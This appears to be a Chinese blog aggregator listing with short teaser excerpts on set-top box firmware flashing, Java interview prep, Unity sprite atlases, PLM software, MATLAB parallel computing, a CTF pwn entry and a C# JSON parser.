电视机顶盒刷机,更改固件包教程

这几天捣鼓了很久的刷机包,终于学会了怎么把已经弄好的刷机包,更改成自己想要的桌面。下面是我整理好的详细教程,本教程所需工具:刷机包大全、MLK软件、mumu模拟器 刷机包大全: 链接: https://pan.baidu.com/s/1G0on4sV9QmpxPXLUSN5ttQ?pwd=5279 提取码: 5279 一.确定机顶…

Java技术栈面试八股文:掌握这九大关键领域

Java基础:这是Java开发的基石,包括Java语言的基本语法、数据类型、控制结构、面向对象编程(OOP)概念(如类、对象、继承、封装、多态)、异常处理、集合框架等。掌握这些基础知识对于理解更高级的Java特性至关重要。Java Web基础:涉及Java在Web开发中的应用,包括Servlet、…

Unity —— SpriteAtlas + Include in Build

前言在使用atlas Sprite的过程中,会忍不住产生一个疑问,atlas是做什么用的,这个include in Build的含义是什么呢,以及它是否应该被勾选。网上查阅到了很多资源,有的说这个选项大胆勾选,有的说这个选项勾选完后图集打包后的纹理在游戏启动后,会一直常驻内存,需要自己做好…

2025预测:PLM系统集成AI的7种智能决策应用场景

随着科技的飞速发展,产品生命周期管理(PLM)系统与人工智能(AI)的集成正逐渐成为企业提升竞争力的关键因素。这种集成不仅能够优化产品开发流程,还能在多个环节实现智能决策,为企业带来前所未有的价值。在2025 年,我们有望看到 PLM 系统集成 AI 后在众多领域展现出强大的…

PLM项目管理软件在汽车行业的应用案例

PLM项目管理软件在汽车行业的应用案例 汽车行业作为制造业的重要组成部分,面临着日益复杂的产品研发、生产管理等挑战。在这样的背景下,PLM(产品生命周期管理)项目管理软件应运而生,为汽车企业提升竞争力提供了有力支持。PLM项目管理软件涵盖了从产品概念设计到产品退役的…

java自学学习路线笔记+实践项目+面试八股文

基础知识巩固Java基础:掌握基本语法、数据类型、控制结构、面向对象等核心概念。推荐学习资源:韩顺平老师的B站课程。 Java进阶:深入学习集合框架、IO流、反射、注解等高级特性。 Java并发:理解线程、锁、并发工具类等,为高并发项目开发打基础。数据库技术MySQL:掌握SQL语…

awdp pwn

ciscn&ccb半决第十八届CISCN&CCB半决赛 awdp pwn typo snprintf() 是一个 C 语言标准库函数,用于格式化输出字符串,并将结果写入到指定的缓冲区,与 sprintf() 不同的是,snprintf() 会限制输出的字符数,避免缓冲区溢出。 C 库函数 int snprintf(char str, size_t …

matlab并行计算

parfor比较难用,要求变量之间不能有干扰,必须能相互独立,这里推荐一下parfeval,相当于多开了n个matlab。 parfeval可以并行运行同一个函数,赋值不同的参数。 首先创建并行池-: p = parpool(2);%这里相当于使用了两个核心,根据你的CPU核心数决定。parfeval用于并行执行代…

1.4K star!几分钟搞定AI视频创作,这个开源神器让故事可视化如此简单!

story-flicks 是一个基于AI技术的自动化视频生成工具,能够将文字剧本快速转化为高质量短视频。开发者@alecm20通过深度学习算法,实现了从文本解析到视频合成的全流程自动化处理,支持多平台适配输出,是内容创作者和自媒体运营者的效率神器。 嗨,大家好,我是小华同学,关注…

C#实现自己的Json解析器(LALR(1)+miniDFA)

C#实现自己的Json解析器(LALR(1)+miniDFA) Json是一个用处广泛、文法简单的数据格式。本文介绍如何用bitParser(拥有自己的解析器(C#实现LALR(1)语法解析器和miniDFA词法分析器的生成器))迅速实现一个简单高效的Json解析器。 读者可在(JsonFormat)查看、下载完整代码。 J…